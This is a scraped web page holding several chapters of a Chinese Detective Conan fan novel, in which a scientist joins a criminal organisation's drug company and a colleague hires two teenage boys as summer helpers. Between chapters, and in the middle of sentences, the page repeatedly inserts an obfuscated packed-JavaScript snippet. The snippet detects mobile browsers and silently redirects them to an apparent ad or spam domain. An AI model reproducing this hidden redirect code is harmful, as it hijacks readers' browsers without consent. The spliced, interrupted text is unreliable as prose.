;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096141|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许诺。马蒂尼大约也是觉得这对姐妹可怜，于是愿意在知道她们命运的时候协助公安把她们救出去。 “……那就拜托你了。” 他郑重地说。 马蒂尼没正面回答，只是把整理好的文件放在桌子上，像是什么都没发生一样：“走吧，你现在是白鸠制药的首席科学家了，我带你去参观一下你的新实验室。” 。 马蒂尼带着长岛京悟离开办公室走回电梯间，熟练地刷了工牌。 “实验室在地下，保密性极高，安保系统也是最顶级的，”马蒂尼一边按下负一层的按键，一边介绍，“朗姆说，你们科研人员不能见光，整天就该在地下埋头苦干。” 长岛京悟：“……劳他费心了。” 电梯门打开的瞬间，他差点被迎面而来的冷气冲得一个激灵。不愧是大型制药公司的核心实验室，恒温恒湿，温度精准控制在 21°C，空气中甚至带着一丝几乎察觉不到的无菌消毒气味。 而真正让他震惊的，是映入眼帘的实验室—— 这简直是个经费在燃烧的实验殿堂！怪不得宫野厚司干出点成果就马不停蹄地加入组织，这尼玛哪个科研人看了不会为它疯为它狂为它哐哐撞大墙…… 一整面落地玻璃墙隔出了不同的研究区，透过明亮的无尘玻璃，长岛京悟清晰地看到各类顶尖设备静静地伫立在宽敞明亮的实验空间里。 进门左手边看上去是一个细胞房，一整排 Thermo Fisher最新款 CO?培养箱靠墙整齐排列，每一个都比他博士实验室用的培养箱贵上五倍不止。通风橱的旁边是顶配Milipore的流式细胞仪，比他在学术会议上见过的模型机还要酷，白色的流线机身差点闪瞎他的狗眼。 再往前走，他震撼地看到一台液相质谱仪，同样来自仪器中的爱马仕Thermo Fisher。在这台质谱仪的对面摆着一排Biorad全自动荧光定量 PCR仪——不止一台，而是整整十台！正常实验室能有两台就可以说是壕无人性。这里真的有那么多pcr要跑吗？ 他还没缓过来，就又看到角落里是一台 Bruker 最新的 900 MHz 超高磁场 NMR和Rigaku X-射线衍射仪。这种级别的设备在东京能拥有一台的机构都屈指可数，而白鸠制药居然都配齐了，而且看上去使用痕迹都没多少…… 最后，长岛京悟的目光落在实验室的最深处，嫉妒心顿时让他面目全非：他们甚至在实验室里配了一个顶尖超算中心！ 长岛京悟站在实验室中央，沉默了很久。 他学术生涯至今，见过富得流油的实验室，但从来没见过富得能用钞票砸出科研成果的实验室。在这种实验室里工作，不出成果真的对不起自己的手吧？哪怕他心里对自己创飞实验的能力有着十足的把握，但他真的打得过金钱的力量吗？ 马蒂尼见他不语，问：“怎么，不喜欢吗？” 长岛京悟：“……贵公司真是牛逼啊。”词到用时方恨少，他只恨自己没有多学点国语。 马蒂尼说：“朗姆跟我说，你要什么尽管提。我们只需要你迅速地捡起宫野博士的课题，在最短的时间内做出成果。用他的话说，越早有成果，越早——” “越早有成果，越早有回报，时间就是金钱。” 一个浑厚的男声在他们身后响起。长岛京悟回头，发现电梯里走出一个独眼秃头男人。 马蒂尼虎躯一震，连忙恭恭敬敬地弯下腰。 独眼秃头男朝他们走来，看都没看马蒂尼一眼，对着长岛京悟伸出手：“欢迎来到白鸠制药，长岛君。我叫朗姆，是这里的CEO。” 61.小伙子加油干，未来一片光明 朗姆的眼眶里只剩一侧嵌着眼珠。当他直勾勾地盯着自己的时候，长岛京悟从未如此真切地感受过恐怖谷效应，起了一身的鸡皮疙瘩。但是面前的人是小老板，就算心底发怵，他也只能压下所有本能反应，硬着头皮迎上去，握住那只伸来的手，嘴角扯出一个恰到好处的笑容：“朗姆先生您好，我也很高兴加入公司。” 朗姆点头，语气平淡：“哦，好，没事，让马蒂尼带着你转一转，实验室什么的我看她已经给你安排妥当，有什么需要的和她说就好了。” 长岛京悟立刻语气诚恳地应道：“实验室很好，公司对我这么看重，希望我不会辜负公司的期望。” 朗姆嗯了一声，目光在他身上缓缓扫过，像是在衡量一件商品的价值。他的声音带着一种不容置疑的威压：“公司为你提供这么好的平台，你自然也要尽力为公司创造价值。”说到这里他顿了顿，眯起眼，似乎在有意观察长岛京悟的反应，“你应该见过宫野夫妇吧？他们是一对夫妻，其中的丈夫，宫野厚司，是你博士实验室的师兄。” 这句话砸下来的瞬间，长岛京悟心里猛地一沉。 有那么一刹那，他仿佛能看见一条无形的锁链将过去与现在紧密相连——朗姆先送走了师兄，现在，轮到他了。 他控制住自己的表情，调整呼吸，让自己看起来冷静而得体。然而，朗姆并未停下，他只是用那只独眼静静地看着他，语气淡漠：“很可惜，他们一个星期前去世了。” 去世了。 这三个字说得平静无波，甚至带着一丝近乎刻板的惋惜。但长岛京悟只觉得一股凉意从脚底窜上头皮。 “所以不得已，我们要招你进来。”朗姆眼神锋利，但仍旧是一副云淡风轻的样子，似乎没有任何情绪波动，“他们在做药物研发，目标是用这个药刺激神经细胞再生。这个课题，公司很看重。你要好好干。” 长岛京悟后背一紧，冷汗几乎要渗出来，但他不敢迟疑，立刻用力点头：“我一定会好好工作，回报公司对我的栽培！” 朗姆似乎对他的态度还算满意，原本尖锐的目光稍稍收敛。长岛京悟敏锐地察觉到这个微妙的空隙，赶紧趁机问道：“那关于神经细胞再生的制药，两位宫野博士有没有留下实验数据和记录？毕竟我是接手他们的研究，如果有工作交接的话，一切都会进展得更顺利。” 朗姆：“问这么多别人的工作，你自己不能做吗？” 长岛京悟：“……诶？”他一时没反应过来，以为自己听错了，愣了半秒才试图解释，“等、等一下，朗姆先生，不是，工作交接这种事情不是很正常……” 朗姆不耐烦地挥了挥手：“你能不能想想，我们招你进来，给你提供这么好的条件，都是为了什么？公司需要的，是一个有独立思想、创造能力、和创新思维的未来科技领军人物。你听好，你现在的任务就是做出来一个可以逆转神经衰亡的药物，越快越好。宫野厚司很早之前做出来过一次，但是药效不够，没法逆转衰亡，只能保持细胞不死。但是这种东西他不仅没有成功改进，之后就没能够再做出来了，所以他被市场淘汰了，你懂了吗？” 又一次出现了，登的特征第一条，不好好回答问题。长岛京悟感觉自己又回到了博后时期，和一个听不懂人话的老登牛头不对马嘴地浅度交流。他问的是实验记录，为什么会直接上升到“市场淘汰”这个程度啊……而且朗姆这么明晃晃地暗示宫野夫妇是被他们干掉的真的好吗？这个世界上就没有他们害怕的东西了吗？ 长岛京悟深吸了一口气，告诉自己要冷静，不要让职场 PUA 影响到自己的发挥。他调整了一下语气，换了个策略，以退为进地重新问同样的问题：“朗姆先生，我非常明白公司的期待，也很感激公司提供的资源。但是作为一个科研人员，我必须建立在已有的数据基础上，才能更高效地推进研究。如果能拿到宫野博士的实验记录，我可以尽快上手，缩短研发周期，早日为公司创造价值。” 朗姆唯一的一只眼睛又一眨不眨地盯着他看。长岛京悟熟练地对着他露出一个学术会议上回答不上问题时常用的必杀技：尴尬又不失礼貌的微笑，混杂着一点“我真的涉世未深，但我理想远大”的清澈和愚蠢。 片刻后，朗姆的目光微微一转，终于点了点头：“实验记录是有的，公司当然不会浪费有价值的数据。” 听到这句话，长岛京悟心里松了口气。有之前的数据，就找到宫野夫妇在哪些地方和老登写下来的实验流程有区别。然后就可以做他最擅长的事情：挑其中一两个步骤改一改，搞点小小的突破。哪怕只是微不足道的进步，他也能凭借十年牛马之力，把它吹成天翻地覆的突破性发现。毕竟，汇报工作这东西，说白了就是包装+话术+一点点实质性进展；只要确保自己每次都能提供点新鲜感，就能在老登的期待值和耐心彻底消耗殆尽之前，持续占据生存空间。 最重要的是——只要苟得住，他就有时间和机会摸清楚这个公司到底还藏着哪些不为人知的研究，当一个合格的好卧底。 然而，他的安心只持续了不到五秒，朗姆便语气一转：“但是我们要的是结果，而不是记录。宫野博士的研究固然有价值，但他无法再现、和推进实验，这意味着他的成果对公司来说毫无意义。” 长岛京悟几乎是下意识地想反驳你一个估计没干过科研的人你懂个屁，但理智还是让他忍住了。他飞快地思考了一秒，调整策略，用对方能听懂的逻辑重新组织语言：“朗姆先生，我明白您的意思。实际上既然他们的研究无法复现，那这份实验记录对我来说就更重要了。如果能知道他们之前做了什么，走过哪些弯路，我就可以避免重复无效实验，加快研究进度，减少公司不必要的时间和资金投入。” ——和老登沟通的不二法门：先肯定他的绝对正确，再从他们的角度提出自己的异议。最终，强调自己提出异议的目的是为了效率、为了节约成本，表达自己和老登有着高度一致的目标。这个沟通法则在他牛马生涯中屡试不爽，不管是怎么样的登都很吃这一套。 果然，朗姆听后脸上的神色松动了一点，甚至露出了一丝若有若无的笑意。他满意地说：“你说得不错，实验数据存放在公司的数据库里，权限让马蒂尼过会儿开给你。不过你记住，公司要的不是借口，而是成果。” 长岛京悟恭敬地说：“我一定尽快拿出结果，不辜负公司的期待。” 朗姆表扬道：“很好，我们就是需要你这样有主见、有思想的新人。”他这个时候才把视线转向一直弯着腰装孙子的马蒂尼，问道，“长岛君这么优秀的科学家，想必会成为我们未来的核心科研人员。你有给他安排一个公司里的花名吗？” 马蒂尼想都没想就回答：“……哦，有的！我刚刚正在思考这一点，您觉得长岛君的代号就叫长岛冰茶如何？” 。 “长岛……冰茶？” 朗姆皱了皱眉，似乎在认真思考这个名字的合理性。 “长岛冰茶。”他又重复了一遍，像是在咀嚼这个代号的味道，随即眼神狐疑地盯着马蒂尼，“你是觉得他像那种看起来很温和，但喝下去能把人放倒的酒？” 马蒂尼：“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104774|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …呃。”她只是随口玩一个谐音梗，结果朗姆这个老登居然真的开始深究。她瞬间心跳加速，头皮发麻，立刻诚惶诚恐地顺着话头接下去：“是的，长岛冰茶外表清爽，内里强劲，非常契合他的个人特质！毕竟长岛君虽然年轻，但实力强悍，必定能为组织带来突破性的科研成果！” 朗姆沉默了一会儿，仿佛真的在认真衡量这个形象与长岛京悟的契合度，若有所思地点了点头：“听上去还不错。” 长岛京悟看见马蒂尼疯狂向他使眼色，立刻很上道地说：“这个花名我非常喜欢，感谢朗姆先生，感谢公司，我定不负使命，为公司创造更大的价值。” 朗姆拍了拍他的肩膀：“小伙子加油干，你的未来一片光明。”然后他对马蒂尼示意，“行吧，你给他录入一下……系统，然后给他把该开的权限开一下。我还有事，就先走了。” 马蒂尼弯腰：“朗姆总走好。” 朗姆警告性地瞪了她一眼，似乎对这句溜须拍马的送别词不太满意，但可能是心情不错，最终也只是挥了挥手，迈步离开了。 马蒂尼目送朗姆的身影消失在电梯里，确认他彻底离开后，狠狠地对着电梯门比了个中指。她转过头，感慨而惊叹地对长岛京悟说：“你真牛逼啊，我从来没见过朗姆还能拍别人的肩膀说你有前途的。” 长岛京悟谦虚道：“都是经验之谈。”不然还能是什么呢，真希望他永远不懂怎么和老登相处啊。 他想到朗姆刚刚说到的权限，于是问：“朗姆说会给我开一些该开的权限，我的权限有什么呢？” 马蒂尼说：“你的权限如果不出意外的话是实验数据库、这个地下一层实验室的通行、和二楼行政的通行。这里的每一层楼都有严格的门禁，不刷卡上不去的。” 长岛京悟想起刚才在电梯里看到的：这栋楼一共在地面上有三十层，在地下有六层。在一共三十六层的大楼，他能够接触到的面积十分有限，相当于被关在了这个实验室里。如果要打探消息的话，还得想办法拿到其他楼层的权限，或者认识其他的在这里工作的人。 想到这里，他赶紧问：“这一层楼就只有我一个人做实验吗？” 马蒂尼：“啊，是的，整一层楼都是给你的——你如果要招人的话大概率也可以，跟我说就行了。” ……也就是说，他被彻底从这个公司隔离了。 朗姆或许到现在都不完全信任他。这间实验室不仅是研究的场所，更像是一个隐形的试验场。他需要尽快做出一些成果来证明自己的价值，不然或许连苟住都有困难。 长岛京悟掂量了一下自己之后要做的实验强度。如果要尽快出结果的话，至少要在宫野夫妇的实验基础上挑选三到四个重要步骤做优化，每一个优化至少要试七八种不同的条件。再加上细胞实验后还得转做体内实验，还要从现在就开始养点实验动物。这么多活，如果只有他一个人干的话，工作量绝对能把他活活操/死。 他干脆地说：“至少也得招几个能扛事的苦力进来干活，两个起步吧。最好是男生，这样我用起来不心疼。力气大点，一定要吃苦耐劳，皮糙肉厚，年龄、经验都好说，反正都要从头教。” 马蒂尼掏出手机，边打字边重复了一遍他的要求，随后抬头问：“好的，还有别的需求吗？” 长岛京悟摸着下巴想了几秒，接着说道：“你看看那种对机械工程比较熟练的最好，这些器材要是坏了，换零备件不仅贵，还得等寄送，会耽误实验进程。简单的短路维修、换真空泵一类的活，懂点机械的人基本都能搞定，能省不少麻烦。” 62.是天使一样的dk少年 便利店窗边坐着一个看上去疲惫得下一秒就要晕倒的女人。 萩原研二付完款，一边拆开雪糕包装塞进嘴里，一边用胳膊肘捅了捅身边的松田阵平，让他也往窗边看一眼。 后者正靠在冷饮柜门口蹭空调，吸溜着冰棍，吊儿郎当地刷着手机，感受到好友的肢体动作后才不情不愿地从屏幕上抬起头，顺着他的视线望去。 他们一起盯着那位窗边的女人，心惊胆战地发现，她不仅在严重睡眠不足的状态下强撑着工作，而且她的手指依然飞快地在键盘上游走，没有一丝停顿。但更令人惊悚的是，她甚至还在以一种近乎自虐的节奏，用两根吸管同时吸着大杯装的“眠眠打破”功能饮料和冰美式。 萩原研二压低声音，犹豫地问：“哎，咱们要不要过去问问她需要帮助吗？她看上去状态很不好诶。” 松田阵平说：“你要是想问的话就去呗。成年人世界看上去真辛苦啊。” 萩原研二叹了口气：“希望咱们长大以后，能有个轻松又稳定的铁饭碗。” 不过，未来是什么样的，其实他们俩都没什么概念。此时，他们刚刚从国中毕业，正处于人生最自由的初升高暑假。没有作业，没有考试，没有汇报和老登，每天能睡到自然醒，随时能叫上狐朋狗友四处压马路，或者窝在一个房间里打游戏。在这个阶段，他们需要烦恼的事情不过是今天吃什么，明天吃什么，零用钱够不够买喜欢的游戏光盘，以及如何面对对他们不务正业感到恼火的母亲和姐姐。 萩原研二就是因为连续三天不眠不休、作息颠倒地沉迷RPG，在早上十点半迷迷糊糊地被人生中最重要的两位女性从被窝里挖出来，当场宣判有罪，并被联手逐出家门，不到天黑不许回来接近游戏机。 不过，哪怕她们气成那样，把还没睡醒的萩原研二赶出来的时候，还是不忘给他嘴里塞了两片吐司，兜里放了一瓶牛奶，以确保他被流放的一天内不会饿死在大街上。 萩原研二穿着皱巴巴的大T恤和运动短裤，拖着步子在街上委屈地闲晃。太阳毒辣得让人发晕，他脑子还没彻底清醒，但身体已经凭借本能，熟练地摸到了最好的朋友家。 抱着“好兄弟有福不一定同享，但有难必须同当”的坚定信念，他轻车熟路地推门进屋，直奔卧室，毫不客气地把昨晚和他联机通宵、此刻仍在梦里的松田阵平给强行挖了起来。 一番鸡飞狗跳的互殴后，松田阵平终于骂骂咧咧、生无可恋地起床。 然而，等他和萩原研二正式清醒面对面不到半小时，两人就毫无意外地进入了下一场混斗。 在短短的时间里，他们热热闹闹地展开了一场毫无意义但极具娱乐性的赌局，共计七场对决，内容五花八门，离谱又毫无营养，充分展现了两个刚升上高一的男高中生清澈而愚蠢的本质。 比如，萩原研二斩钉截铁地认为松田阵平跳起来绝对摸不到天花板，松田阵平对此嗤之以鼻。与此同时，松田也不甘示弱，以同等力度反击，认定萩原研二绝对不可能单手倒立，并像面条一样在空中扭动。 他们还尝试用揉成一团的纸巾投进垃圾桶来一较高下。战况一度白热化，争论的核心是萩原的投篮命中率究竟是低于10%，还是勉强能有15%。在经历了一轮又一轮的惨烈投掷后，地上堆满了散落的纸团，垃圾桶却依旧空空如也。 除此之外，他们甚至还对萩原今天回家会不会被母亲逮住再骂一顿展开了激烈的讨论，并一本正经地围绕“母亲怒火的冷却时间”进行了深度分析与哲学论证。 最终，这场闹剧以松田阵平欠萩原研二四个大逼斗，萩原研二欠松田阵平一个雪糕加两个大逼斗的战果落下帷幕。由于双方都对兑现大逼斗这件事持谨慎观望态度，他们一致决定将债务暂时挂账，等合适的时机再进行清算。 与此同时，两人都觉得闷热难耐，正好萩原研二还欠着一支雪糕，干脆决定先去便利店消暑，顺便蹭空调，等凉快下来后再考虑后续的处理方式。 ——也正是这个时候，观察力极强的萩原研二，发现了窗边正在爆肝工作的马蒂尼。 。 马蒂尼这几天过得非常、非常糟糕。 自从长岛京悟入职以来，他们迅速建立了革命友谊，勾肩搭背，狼狈为奸，一个偷摸划水，一个精准防登，合作无间，默契非凡。凭借长岛京悟无比优异的对登能力，她在职场上的生存质量得到了极大的提升：至少长岛京悟只需要五分钟，就能帮她写出一份不会被朗姆找茬的报告，让她省去了无数精神折磨，大大提升了她的生活幸福感。 然而，幸福往往是短暂的。 授人以鱼，不如授人以渔。马蒂尼在以“对长岛京悟的活动轨迹睁一只眼闭一只眼”为代价，把写报告这件小事外包给对方后，过得实在是太过安逸了，以至于当长岛京悟五天前开始一场大实验，实在腾不出手帮她写报告时，她才后知后觉地意识到自己的危机。 短短五天，她连着写了五份乱七八糟的报告，每一份都被朗姆骂得狗血淋头，不仅被迫接受了大量的职场PUA，还被扣光了一个月的绩效。 为了多赚点钱去看月末的演唱会，她硬着头皮额外接了好几个任务，试图靠体力弥补经济损失。然而不出所料，连轴转四十个小时后，她面对的仍然是朗姆狂风暴雨般的指责，以及来自长岛京悟的短信： “今天还要做将近二十个小时的实验，报告你还得自己写了。如果能帮我快点找到几个苦力的话，我就不用这么多事都自己做了。” 马蒂尼盯着这条短信，几乎要当场落泪。 ——一定要给他找人！越快越好！ 她立刻冲进了便利店，一边疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116610|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂往自己体内灌咖啡因，一边在各种招聘网站上迅速筛查适合的苦力，眼神坚定，意志如铁。无论如何，她一定要帮长岛京悟找到能帮他干活的苦力，这样她才有活下去的希望。 可是找到对口的求职者有哪有那么简单的？ 他们白鸠制药好歹是一个犯罪组织的皮包公司，旗下违法乱纪的实验、课题数不胜数，多少国家的执法机构削尖了脑袋都想送间谍过来卧底。虽然她自己算是半个间谍，长岛京悟也是个动机十分不纯的卧底，但是至少她总感觉长岛这个人是靠谱的，他有能力在组织苟住，不至于拖她下水。 而如果她招到了几个没脑子的卧底，被组织发现后可就不是工作失误那么简单了。 这可不是开玩笑的。她的命就系在这次招聘上了。 于是，每一份简历她都打起了十二分精神审查。每个求职者的背景、经历、研究方向、兴趣爱好、社交媒体动态，甚至照片上的眼神，她都得仔细推敲，生怕错招了什么倒霉特工，给自己招来杀身之祸。 可问题是，当她先入为主、神经紧绷又疲惫不堪地看简历时，似乎每个人都透着问题—— 这个研究员背景太干净了，一定是编的！ 这个本科生的履历太完美了，八成是卧底模板！ 这个在读博士的研究方向太巧了，和他们对外宣称的项目高度重合，绝对是奔着他们公司来的！ 马蒂尼盯着屏幕，越看越不对劲，心跳越来越快，一时间甚至产生了整家便利店都是间谍的错觉。她怀疑下一秒就会有黑衣人从货架后面翻出来，把她当场拖走灭口。 她又累又气，还下意识地警惕起来。她翻网页的手都开始发抖，但是越着急，越找不到合适的人选。 她想到自己的未来，想到曾经短暂拥有过的美好咸鱼生活，想到长岛京悟五分钟就能帮她写完不会被朗姆骂的报告的黄金时代，越想越难过得要命。 就在她几乎要精神崩溃的时候，一个温和清朗的少年音突然在她耳边响起—— “那个，姐姐你好，你看上去状态很不好，请问你需要帮助吗？” 马蒂尼愣了一下，机械般地抬头，杀气腾腾地锁定了声音的来源。 她看见一个黑色中长发的英俊少年站在她面前，对她露出一个温柔而礼貌的微笑。他应该还是个学生，穿着普通的运动T恤和短裤，气质干净又温和，那双紫罗兰色的眼睛简直像是直直望进了她的心里。 这是天使吗？天使应该就长这个样子吧。 马蒂尼大脑死机了片刻，忽然有种晕晕乎乎、置身梦境的错觉，甚至可以听到自己砰砰的心跳声。 她盯着眼前这个漂亮得像漫画里走出来的少年，忍不住发出一声成年人的感慨：“小别致，你长得真东西……” 萩原研二愣了一下：“啊？” 63.天使，我出门打工养你啊 马蒂尼已经很久很久没有见到过这么干净的人了。 她已经在组织里混了三年。三年，足够把一个人从天真剥离成老油条，足够让她适应每一次权力的更迭，每一次身边人的消失，每一次站错边的血腥后果。 这三年里，她的世界灰暗、压抑、潮湿，沾满了谎言、血污和暗藏杀机的利益计算。她见过怀抱着理想却被残忍抹杀的卧底，见过被市场淘汰后再无踪迹的研究员，也见过自以为自己是命运主角，结果活不过试用期的新人。成为朗姆的直属部下后，她更是过得小心翼翼、如履薄冰，生怕有一天一个不留神，自己也会变成组织名单上的下一个清除对象。 她已经不求登上权力的巅峰，只想活着，攒钱，等有朝一日可以活着离开组织，回东北买个小别墅，每天饿了点外卖、无聊叫男模，过点梦寐以求的惬意生活。她希望自己到那时候再也不当牛马受气，也下定决心不会再踏进日本半步。 马蒂尼的世界和所有的成年人一样，像是用瓷垒起来的城堡，外表坚不可摧，严丝合缝，哪怕经历风雨也不会生锈。但它不是牢不可破的：只要有一个契机，一道裂隙，某个让人措手不及的瞬间，所有被死死压住的情绪都会倾泻而出，像瓷器碎裂，掩盖不了也收不回去。 ——马蒂尼的眼泪在意识到自己在异乡，被一个如此英俊的天使少年关心后，毫无预兆地夺眶而出。 。 马蒂尼嗷嗷地号哭了几分钟。 她完全不在乎自己的形象了，鼻涕吸溜得震天响，像是要把三年里没流过的眼泪一次性流干一样。她一边大哭，一边恶狠狠地想：三十年河东，三十年河西，莫欺少年穷……天道好轮回，苍天饶过谁…… 在这期间，天使少年就站在她身边。他没有说什么多余的话，只是时不时递给她一张面巾，偶尔安慰地拍拍她的肩膀。等到她终于哭够了，抽抽搭搭地止住眼泪后，还递给她一支同伴刚刚去买的冰棍。 马蒂尼鼻音浓重地“谢谢”了一声，颤抖着手去拿冰棍。冰棍外壳的塑料包装凉飕飕的，沁着微弱的水汽，在夏天的热气里迅速起了一层薄雾。 它明明是冰的，可握在手里，却烫得像是让她的灵魂都暖了起来。 马蒂尼怔怔地低头看着这支冰棍，忽然意识到，在这三年窝囊的生活里，她从来没有见过这么美好的人。这个少年身上有着久违而珍贵的、一点没受过社会毒打的气息，让她甚至卑劣地觉得，自己不该触碰这样的存在。 ……但是人总是容易得寸进尺，得到了温暖就不想放开。马蒂尼这样走在寒冬里的人，明明已经习惯了刺骨的冷风，明明告诉自己活着就够了，不该奢求更多，可一旦有人在路边递过来一杯热茶，指尖触碰到那一点温度，就再也不想回到原来的冰天雪地里。 她根本没有思考，几乎是鬼使神差地开口了：“……你有没有兴趣找个暑期兼职？” 。 少年愣了一下，显然没想到马蒂尼会这么问。他歪了歪头：“……兼职？” 马蒂尼这才猛然反应过来自己在做什么，吓得倒吸一口凉气。 她感觉自己疯了。 这是什么地方？这是白鸠制药，黑衣组织旗下的科研机构。她明知道这里的危险程度，明知道稍有不慎，他就有可能永远走不出去！她怎么能把这种孩子卷进来？ 她在心里疯狂踩刹车，试图找回理智，但当她对上那双清澈的紫色眼睛时，她发现自己的理智完全没起作用。 马蒂尼自暴自弃地想：……只是个暑期工，没关系的吧？长岛京悟靠谱，放在他手下是安全的。反正那家伙是个有道德底线的卧底，他不会让事情出岔子的。这孩子说到底只是来打个零工，暑假结束就走了，组织的人根本不会关注他。 而且，退一万步来说，这个社会这么黑，他如果真的打算兼职，随便找份工作，万一被骗了呢？黑心资本家、非法中介、压榨童工的黑厂、三天就能把人PUA得精神错乱的老登……外面的世界可一点都不安全。如果让他随便找个地方打工，遇到那种欠薪跑路的黑店怎么办？遇到让他加班到三更半夜的黑心上司怎么办？遇到不良分子盯上他怎么办？让他在自己能帮上忙的范围内打工，她起码能让天使朝九晚五，天天摸鱼，中午还有三个小时午休。 马蒂尼脑子里疯狂给自己做心理建设，而她又一次卑劣地发现，自己找到的所有的理由都在为一个恶劣的动机服务—— “——再说了，我不这么做的话，以后可能就再也见不到天使了。” 她狠狠地咬下一口冰棍，努力掩盖自己有些急促的呼吸，然后尽可能用一种冷静的、像是随口一提的语气继续说道：“嗯，我们公司缺暑期工，工作简单，工资待遇不错，我看你们俩根骨清奇，感兴趣的话可以试试看。” 萩原研二被她这突如其来的话整懵了，茫然地眨了眨眼：“……是那种端盘子的工作吗？” “不不不，不是那么麻烦的活。”马蒂尼迅速摆手，生怕把他吓跑，“就是帮忙偶尔修修仪器，记个数据，拎拎试剂瓶，顺便跑跑腿，挺轻松的。” 萩原研二歪着头，认真思考了一下：“工资是多少？” “你想要多少？”马蒂尼几乎是脱口而出。 萩原研二：“……诶？” 马蒂尼立刻意识到自己太失态了，但她现在的脑子已经彻底乱成一团，心里就只有一个念头——天使想要多少，她就给多少。公司不出钱也无所谓，她出门接任务养他啊！ 于是，她深吸一口气，努力调整了一下自己的语气，让自己看上去更靠谱：“呃……我们这边兼职待遇还不错，你们两个人一起来的话，工钱可以比一般的兼职高一点。你对待遇有什么要求吗？” “我倒是没什么特别要求。”萩原研二挠了挠后脑勺，“我们本来有考虑在这个暑假找个兼职，因为想攒钱买一款新出的游戏。不过整理券没抽到，想买都买不到，所以就没下文了。” 马蒂尼立刻问：“什么游戏？” 站在旁边的松田阵平插嘴：“《独眼猫的五百种死法》。听说全服测试名额超级少……” “我给你们搞。” 两个男子高中生同时愣住了。 马蒂尼咬紧牙关，重复道：“内测名额，给你们搞两个。” “大姐头，你认真的？”松田阵平有点怀疑地看着马蒂尼，“这可是乌丸集团旗下大厂出的新游戏，你怎么能……” “别管这些细节。”马蒂尼嘴角带着点笑意，眼神却是坚定的，“姐姐我也是有点人脉的。我给你们弄，到时候不仅有名额，游戏也免费送你们。你们的兼职工资按月发，一人一个月一百万日元，够不够？” 。 组织把长岛京悟的住所也一并安排好了：为了方便马蒂尼对他进行管理，长岛京悟的宿舍就在马蒂尼的对面。和天使少年告别后的第二个晚上，马蒂尼结束任务后特地绕路去了一家网红甜品店，精挑细选地买了两块贵得离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他深呼吸，思考了几秒，发现虽然离谱，但好像也不是完全不能接受。本来他也不打算招长期的助手，毕竟他不觉得这对于普通人是件什么好事。清澈而愚蠢的dk，过来做洗洗刷刷搬东西的杂活，赚点零花钱，回去把这件事情忘得一干二净，继续过着清澈而愚蠢的生活，倒也不是什么坏事。 他叹了口气：“好吧，那你至少要给孩子们开高一点工资，而且你也是知道的，他们还是未成年，是社会的希望，我们不能让他们出事情。” 马蒂尼立刻拍着胸脯保证：“有人敢伤到他们一根汗毛，姐好歹也是个国际顶级杀手，姐和他们拼了！” 长岛京悟心想：……倒也不用这么激动吧。 不过看上去马蒂尼对两个少年还挺在意的，那他就放心了。 于是他说：“好的，那他们什么时候来报道？” 马蒂尼说：“他们明天上午过来报道，你要去公司门口接他们一下。我刚刚接了好几个大任务，估计这一两个星期都会忙得脱不开身。但是如果他们需要什么、出了什么问题，一定要告诉我，我拼上老命也会帮忙的。” 这时她手机闹铃响了。她站起身，背上一个看上去就装了不少武器的包，利落地带上一个鸭舌帽，“那我还有事，我就先走了。” 长岛京悟说：“哦，好的，那你走好……这么晚了，你还要出任务吗？” 马蒂尼整理了一下帽子：“不是任务。你知道咱们集团有个兄弟公司在做游戏开发吗？我打听了一下，他们最近推出的一款游戏的总工程师的日程表，他大概半个小时后下班。” 她推开门，回头露出一个阴测测的笑：“我有点事要去和他谈谈。” 64.炸虾便当与不寻常的制药公司 八月的东京，连空气都弥漫着一股令人烦躁的粘腻热浪。 松田阵平和萩原研二站在白鸠制药的大门前，短袖都快被汗湿透了。 马蒂尼给他们发来的邮件里写着让他们九点钟来报道。他们俩的家都在东京周边的神奈川县，为了不迟到、给第一天开个好头，两个人早上七点就起床，简单洗漱一下就出发往东京市中心赶。他们倒了三趟地铁，又顶着烈日暴走了十五分钟，终于在差不多八点四十的时候抵达白鸠制药附近。因为还有点时间，他们就索性拐进公司旁的便利店吃早餐。 松田阵平把刚买的冰可乐咕噜咕噜灌了大半瓶，长出一口气，才终于勉强恢复了点活力：“我说，萩，你确定我们不是被骗过来卖器官的吧？如果是卖器官还让我们跑这么远，他们的心感觉也够黑的。” 